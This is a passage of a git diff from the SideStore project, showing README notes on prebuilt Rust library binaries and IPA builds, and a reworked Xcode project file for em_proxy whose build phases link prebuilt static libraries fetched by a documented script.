## Prebuilt binary information
|
||||
|
||||
minimuxer and em_proxy use prebuilt static library binaries built by GitHub Actions to speed up builds and remove the need for Rust to be installed when working on SideStore.
|
||||
[`Dependencies/fetch-prebuilt.sh`](./Dependencies/fetch-prebuilt.sh) will be run before each build by Xcode, and it will check if the downloaded binaries are up-to-date once every 6 hours. If you want
|
||||
to force it to check for new binaries, run `bash ./Dependencies/fetch-prebuilt.sh force`.
|
||||
|
||||
## Building an IPA for distribution
|
||||
|
||||
You can use the Makefile: `make build fakesign ipa`
|
||||
|
||||
This will create SideStore.ipa.
|
||||
|
||||
> **Warning**
|
||||
>
|
||||
> The binary created will contain paths to Xcode's DerivedData, and if you built minimuxer on your machine, paths to $HOME/.cargo. This will include your username. If you want to keep your user's
|
||||
> username private, you might want to get GitHub Actions to build the IPA instead.
|
||||
|
||||
## Developing minimuxer alongside SideStore
|
||||
|
||||
Please see [minimuxer's README](https://github.com/SideStore/minimuxer) for development instructions.
|
||||
2
Dependencies/Roxas
vendored
1
Dependencies/em_proxy
vendored
670
Dependencies/em_proxy.xcodeproj/project.pbxproj
vendored
@@ -1,371 +1,343 @@
|
||||
// !$*UTF8*$!
|
||||
{
|
||||
/* generated with cargo-xcode 1.5.0 */
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 53;
|
||||
objects = {
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 53;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
|
||||
CA60E4E02AAAA30E3695DD59 /* Cargo.toml in Sources */ = {
|
||||
isa = PBXBuildFile;
|
||||
fileRef = CA6094FFF6923EF4668187A5 /* Cargo.toml */;
|
||||
settings = {
|
||||
COMPILER_FLAGS = "--lib"; /* == OTHER_INPUT_FILE_FLAGS */
|
||||
};
|
||||
};
|
||||
|
||||
CA60E4E02AAA37FC563E4BCC /* Cargo.toml in Sources */ = {
|
||||
isa = PBXBuildFile;
|
||||
fileRef = CA6094FFF6923EF4668187A5 /* Cargo.toml */;
|
||||
settings = {
|
||||
COMPILER_FLAGS = "--bin 'run'"; /* == OTHER_INPUT_FILE_FLAGS */
|
||||
};
|
||||
};
|
||||
|
||||
9987603429A4555300818586 /* em_proxy.h in Sources */ = {isa = PBXBuildFile; fileRef = 9999259129A45319005CF020 /* em_proxy.h */; };
|
||||
/* End PBXBuildFile section */
|
||||
|
||||
/* Begin PBXBuildRule section */
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
dependencyFile = "$(DERIVED_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME).d";
|
||||
filePatterns = "*/Cargo.toml"; /* must contain asterisk */
|
||||
fileType = pattern.proxy;
|
||||
inputFiles = ();
|
||||
isEditable = 0;
|
||||
name = "Cargo project build";
|
||||
outputFiles = (
|
||||
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
|
||||
);
|
||||
script = "# generated with cargo-xcode 1.5.0\n\nset -eu; export PATH=\"$PATH:$HOME/.cargo/bin:/usr/local/bin\";\nif [ \"${IS_MACCATALYST-NO}\" = YES ]; then\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-ios-macabi\"\nelse\n CARGO_XCODE_TARGET_TRIPLE=\"${CARGO_XCODE_TARGET_ARCH}-apple-${CARGO_XCODE_TARGET_OS}\"\nfi\nif [ \"$CARGO_XCODE_TARGET_OS\" != \"darwin\" ]; then\n PATH=\"${PATH/\\/Contents\\/Developer\\/Toolchains\\/XcodeDefault.xctoolchain\\/usr\\/bin:/xcode-provided-ld-cant-link-lSystem-for-the-host-build-script:}\"\nfi\nPATH=\"$PATH:/opt/homebrew/bin\" # Rust projects often depend on extra tools like nasm, which Xcode lacks\nif [ \"$CARGO_XCODE_BUILD_MODE\" == release ]; then\n OTHER_INPUT_FILE_FLAGS=\"${OTHER_INPUT_FILE_FLAGS} --release\"\nfi\nif command -v rustup &> /dev/null; then\n if ! rustup target list --installed | egrep -q \"${CARGO_XCODE_TARGET_TRIPLE}\"; then\n echo \"warning: this build requires rustup toolchain for $CARGO_XCODE_TARGET_TRIPLE, but it isn\'t installed\"\n rustup target add \"${CARGO_XCODE_TARGET_TRIPLE}\" || echo >&2 \"warning: can\'t install $CARGO_XCODE_TARGET_TRIPLE\"\n fi\nfi\nif [ \"$ACTION\" = clean ]; then\n ( set -x; cargo clean --manifest-path=\"$SCRIPT_INPUT_FILE\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nelse\n ( set -x; cargo build --manifest-path=\"$SCRIPT_INPUT_FILE\" --features=\"${CARGO_XCODE_FEATURES:-}\" ${OTHER_INPUT_FILE_FLAGS} --target=\"${CARGO_XCODE_TARGET_TRIPLE}\"; );\nfi\n# it\'s too hard to explain Cargo\'s actual exe path to Xcode build graph, so hardlink to a known-good path instead\nBUILT_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_FILE_NAME}\"\nln -f -- \"$BUILT_SRC\" \"$SCRIPT_OUTPUT_FILE_0\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\nDEP_FILE_SRC=\"${CARGO_TARGET_DIR}/${CARGO_XCODE_TARGET_TRIPLE}/${CARGO_XCODE_BUILD_MODE}/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\nif [ -f \"$DEP_FILE_SRC\" ]; then\n DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\nfi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don\'t stay around after archs change\n# must match input for LipoScript\nFILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\ntouch \"$FILE_LIST\"\nif ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\nfi\n";
|
||||
};
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */ = {
|
||||
isa = PBXBuildRule;
|
||||
compilerSpec = com.apple.compilers.proxy.script;
|
||||
filePatterns = "*/em_proxy.h";
|
||||
fileType = pattern.proxy;
|
||||
inputFiles = (
|
||||
);
|
||||
isEditable = 0;
|
||||
name = "Cargo project build";
|
||||
outputFiles = (
|
||||
"$(OBJECT_FILE_DIR)/$(CARGO_XCODE_TARGET_ARCH)-$(EXECUTABLE_NAME)",
|
||||
);
|
||||
script = "# generated with cargo-xcode 1.5.0\n# modified to use prebuilt binaries\n\nset -eu;\n\nBUILT_SRC=\"./em_proxy/$LIB_FILE_NAME.a\"\nln -f -- \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\" || cp \"$BUILT_SRC\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\necho \"$BUILT_SRC -> $TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n\n# xcode generates dep file, but for its own path, so append our rename to it\n#DEP_FILE_SRC=\"minimuxer/target/${CARGO_XCODE_TARGET_TRIPLE}/release/${CARGO_XCODE_CARGO_DEP_FILE_NAME}\"\n#if [ -f \"$DEP_FILE_SRC\" ]; then\n# DEP_FILE_DST=\"${DERIVED_FILE_DIR}/${CARGO_XCODE_TARGET_ARCH}-${EXECUTABLE_NAME}.d\"\n# cp -f \"$DEP_FILE_SRC\" \"$DEP_FILE_DST\"\n# echo >> \"$DEP_FILE_DST\" \"$SCRIPT_OUTPUT_FILE_0: $BUILT_SRC\"\n#fi\n\n# lipo script needs to know all the platform-specific files that have been built\n# archs is in the file name, so that paths don't stay around after archs change\n# must match input for LipoScript\n#FILE_LIST=\"${DERIVED_FILE_DIR}/${ARCHS}-${EXECUTABLE_NAME}.xcfilelist\"\n#touch \"$FILE_LIST\"\n#if ! egrep -q \"$SCRIPT_OUTPUT_FILE_0\" \"$FILE_LIST\" ; then\n# echo >> \"$FILE_LIST\" \"$SCRIPT_OUTPUT_FILE_0\"\n#fi\n";
|
||||
};
|
||||
/* End PBXBuildRule section */
|
||||
|
||||
/* Begin PBXFileReference section */
|
||||
|
||||
CA60C44C93D7916DE57E6EBD /* staticlib */ = {
|
||||
isa = PBXFileReference;
|
||||
explicitFileType = "archive.ar";
|
||||
includeInIndex = 0;
|
||||
name = "libem_proxy_static.a";
|
||||
sourceTree = TARGET_BUILD_DIR;
|
||||
};
|
||||
CA60058A9FBE4D17AF51A7D5 /* bin */ = {
|
||||
isa = PBXFileReference;
|
||||
explicitFileType = "compiled.mach-o.executable";
|
||||
includeInIndex = 0;
|
||||
name = "run";
|
||||
sourceTree = TARGET_BUILD_DIR;
|
||||
};
|
||||
CA6094FFF6923EF4668187A5 /* Cargo.toml */ = {
|
||||
isa = PBXFileReference;
|
||||
lastKnownFileType = text;
|
||||
fileEncoding = 4;
|
||||
name = "Cargo.toml";
|
||||
path = "em_proxy/Cargo.toml";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* Rust needs libresolv */
|
||||
ADDEDBA66A6E1 = {
|
||||
isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition";
|
||||
name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT;
|
||||
};
|
||||
|
||||
9999259129A45319005CF020 /* em_proxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = em_proxy.h; path = em_proxy/em_proxy.h; sourceTree = "<group>"; };
|
||||
ADDEDBA66A6E1 /* libresolv.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libresolv.tbd; path = usr/lib/libresolv.tbd; sourceTree = SDKROOT; };
|
||||
CA60058A9FBE4D17AF51A7D5 /* run */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = run; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libem_proxy_static.a; sourceTree = BUILT_PRODUCTS_DIR; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
/* Begin PBXGroup section */
|
||||
CA6094FFF69298AF0B5890DB /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E2,
|
||||
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
|
||||
ADDEDBA66A6E2 /* Required for static linking */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E1
|
||||
);
|
||||
name = "Required for static linking";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
CA6094FFF69222869D176AE5 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA60C44C93D7916DE57E6EBD,
|
||||
CA60058A9FBE4D17AF51A7D5,
|
||||
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
CA6094FFF692D65BC3C892A8 /* Main */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA6094FFF6923EF4668187A5,
|
||||
CA6094FFF69222869D176AE5,
|
||||
CA6094FFF69298AF0B5890DB,
|
||||
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
|
||||
ADDEDBA66A6E2 /* Required for static linking */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E1 /* libresolv.tbd */,
|
||||
);
|
||||
name = "Required for static linking";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6094FFF69222869D176AE5 /* Products */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */,
|
||||
CA60058A9FBE4D17AF51A7D5 /* run */,
|
||||
);
|
||||
name = Products;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6094FFF69298AF0B5890DB /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
ADDEDBA66A6E2 /* Required for static linking */,
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
CA6094FFF692D65BC3C892A8 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
9999259129A45319005CF020 /* em_proxy.h */,
|
||||
CA6094FFF69222869D176AE5 /* Products */,
|
||||
CA6094FFF69298AF0B5890DB /* Frameworks */,
|
||||
);
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
/* End PBXGroup section */
|
||||
|
||||
/* Begin PBXNativeTarget section */
|
||||
CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA603DD75FB4A30E3695DD59;
|
||||
buildPhases = (
|
||||
CA60445C3036A30E3695DD59 /* Sources */,
|
||||
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "em_proxy-staticlib";
|
||||
productName = "libem_proxy_static.a";
|
||||
productReference = CA60C44C93D7916DE57E6EBD;
|
||||
productType = "com.apple.product-type.library.static";
|
||||
};
|
||||
CA60058A9FBE37FC563E4BCC /* run-bin */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA603DD75FB437FC563E4BCC;
|
||||
buildPhases = (
|
||||
CA60445C303637FC563E4BCC /* Sources */,
|
||||
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "run-bin";
|
||||
productName = "run";
|
||||
productReference = CA60058A9FBE4D17AF51A7D5;
|
||||
productType = "com.apple.product-type.tool";
|
||||
};
|
||||
|
||||
CA60058A9FBE37FC563E4BCC /* run-bin */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA603DD75FB437FC563E4BCC /* Build configuration list for PBXNativeTarget "run-bin" */;
|
||||
buildPhases = (
|
||||
CA60445C303637FC563E4BCC /* Sources */,
|
||||
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "run-bin";
|
||||
productName = run;
|
||||
productReference = CA60058A9FBE4D17AF51A7D5 /* run */;
|
||||
productType = "com.apple.product-type.tool";
|
||||
};
|
||||
CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */ = {
|
||||
isa = PBXNativeTarget;
|
||||
buildConfigurationList = CA603DD75FB4A30E3695DD59 /* Build configuration list for PBXNativeTarget "em_proxy-staticlib" */;
|
||||
buildPhases = (
|
||||
9987603529A4610700818586 /* ShellScript */,
|
||||
CA60445C3036A30E3695DD59 /* Sources */,
|
||||
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */,
|
||||
);
|
||||
buildRules = (
|
||||
CA6094FFF692AC6C1400ACA8 /* PBXBuildRule */,
|
||||
);
|
||||
dependencies = (
|
||||
);
|
||||
name = "em_proxy-staticlib";
|
||||
productName = libem_proxy_static.a;
|
||||
productReference = CA60C44C93D7916DE57E6EBD /* libem_proxy_static.a */;
|
||||
productType = "com.apple.product-type.library.static";
|
||||
};
|
||||
/* End PBXNativeTarget section */
|
||||
|
||||
CA60445C3036A30E3695DD59 = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
CA60E4E02AAAA30E3695DD59
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
|
||||
CA603DD75FB4A30E3695DD59 /* staticlib */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA604DFE779BA30E3695DD59 /* Release */,
|
||||
CA60DE07A83FA30E3695DD59 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA604DFE779BA30E3695DD59 /* staticlib */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "em_proxy_static";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "libem_proxy.a";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libem_proxy.d";
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
SKIP_INSTALL = YES;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA60DE07A83FA30E3695DD59 /* staticlib */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "em_proxy_static";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "libem_proxy.a";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "libem_proxy.d";
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
SKIP_INSTALL = YES;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
|
||||
};
|
||||
name = Debug;
|
||||
};CA60445C303637FC563E4BCC = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
CA60E4E02AAA37FC563E4BCC
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
|
||||
CA603DD75FB437FC563E4BCC /* bin */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA604DFE779B37FC563E4BCC /* Release */,
|
||||
CA60DE07A83F37FC563E4BCC /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA604DFE779B37FC563E4BCC /* bin */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "run";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "run";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "run.d";
|
||||
SUPPORTED_PLATFORMS = "macosx";
|
||||
|
||||
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA60DE07A83F37FC563E4BCC /* bin */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
PRODUCT_NAME = "run";
|
||||
"CARGO_XCODE_CARGO_FILE_NAME" = "run";
|
||||
"CARGO_XCODE_CARGO_DEP_FILE_NAME" = "run.d";
|
||||
SUPPORTED_PLATFORMS = "macosx";
|
||||
|
||||
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
/* Begin PBXProject section */
|
||||
CA6094FFF692E04653AD465F /* Project object */ = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1300;
|
||||
TargetAttributes = {
|
||||
CA60058A9FBE37FC563E4BCC = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
CA60C44C93D7A30E3695DD59 = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = CA6094FFF69280E02D6C7F57 /* Build configuration list for PBXProject "em_proxy" */;
|
||||
compatibilityVersion = "Xcode 11.4";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = CA6094FFF692D65BC3C892A8;
|
||||
productRefGroup = CA6094FFF69222869D176AE5 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
CA60C44C93D7A30E3695DD59 /* em_proxy-staticlib */,
|
||||
CA60058A9FBE37FC563E4BCC /* run-bin */,
|
||||
);
|
||||
};
|
||||
/* End PBXProject section */
|
||||
|
||||
CA6094FFF692AF6EBB7F357C /* LipoScript */ = {
|
||||
name = "Universal Binary lipo";
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = ();
|
||||
inputFileListPaths = ();
|
||||
inputPaths = (
|
||||
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
|
||||
);
|
||||
outputFileListPaths = ();
|
||||
outputPaths = (
|
||||
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)"
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# generated with cargo-xcode 1.5.0\n\n set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr \'\\n\' \'\\0\' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n fi\n ";
|
||||
};
|
||||
/* Begin PBXShellScriptBuildPhase section */
|
||||
9987603529A4610700818586 /* ShellScript */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
);
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
./em_proxy/em_proxy.h,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "bash ./fetch-prebuilt.sh em_proxy\n";
|
||||
};
|
||||
CA6094FFF692AF6EBB7F357C /* Universal Binary lipo */ = {
|
||||
isa = PBXShellScriptBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
inputFileListPaths = (
|
||||
);
|
||||
inputPaths = (
|
||||
"$(DERIVED_FILE_DIR)/$(ARCHS)-$(EXECUTABLE_NAME).xcfilelist",
|
||||
);
|
||||
name = "Universal Binary lipo";
|
||||
outputFileListPaths = (
|
||||
);
|
||||
outputPaths = (
|
||||
"$(TARGET_BUILD_DIR)/$(EXECUTABLE_PATH)",
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
shellPath = /bin/sh;
|
||||
shellScript = "# generated with cargo-xcode 1.5.0\n\n#set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr '\\n' '\\0' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n# install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#fi\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
CA6094FFF69280E02D6C7F57 = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA609A5173513CC16B37690B /* Release */,
|
||||
CA609A517351228BE02872F8 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
CA60445C303637FC563E4BCC /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
CA60445C3036A30E3695DD59 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
9987603429A4555300818586 /* em_proxy.h in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
CA609A5173513CC16B37690B = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */
|
||||
CARGO_XCODE_FEATURES = ""; /* configure yourself */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos";
|
||||
PRODUCT_NAME = "em_proxy";
|
||||
MARKETING_VERSION = "0.1.0";
|
||||
CURRENT_PROJECT_VERSION = "0.1";
|
||||
SDKROOT = macosx;
|
||||
|
||||
"CARGO_XCODE_BUILD_MODE" = "release"; /* for xcode scripts */
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* Begin XCBuildConfiguration section */
|
||||
CA604DFE779B37FC563E4BCC /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = run.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = run;
|
||||
PRODUCT_NAME = run;
|
||||
SUPPORTED_PLATFORMS = macosx;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA604DFE779BA30E3695DD59 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = libem_proxy.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = libem_proxy.a;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
LIB_FILE_NAME = "";
|
||||
"LIB_FILE_NAME[sdk=iphoneos*]" = libem_proxy;
|
||||
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libem_proxy-sim";
|
||||
PRODUCT_NAME = em_proxy_static;
|
||||
SKIP_INSTALL = YES;
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA609A517351228BE02872F8 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
|
||||
CARGO_XCODE_BUILD_MODE = debug;
|
||||
CARGO_XCODE_FEATURES = "";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
|
||||
CURRENT_PROJECT_VERSION = 0.1;
|
||||
MARKETING_VERSION = 0.1.0;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
PRODUCT_NAME = em_proxy;
|
||||
SDKROOT = macosx;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
CA609A5173513CC16B37690B /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
|
||||
CARGO_XCODE_BUILD_MODE = release;
|
||||
CARGO_XCODE_FEATURES = "";
|
||||
